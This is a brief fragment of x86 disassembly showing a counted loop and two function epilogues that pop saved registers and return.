mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x470fe1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret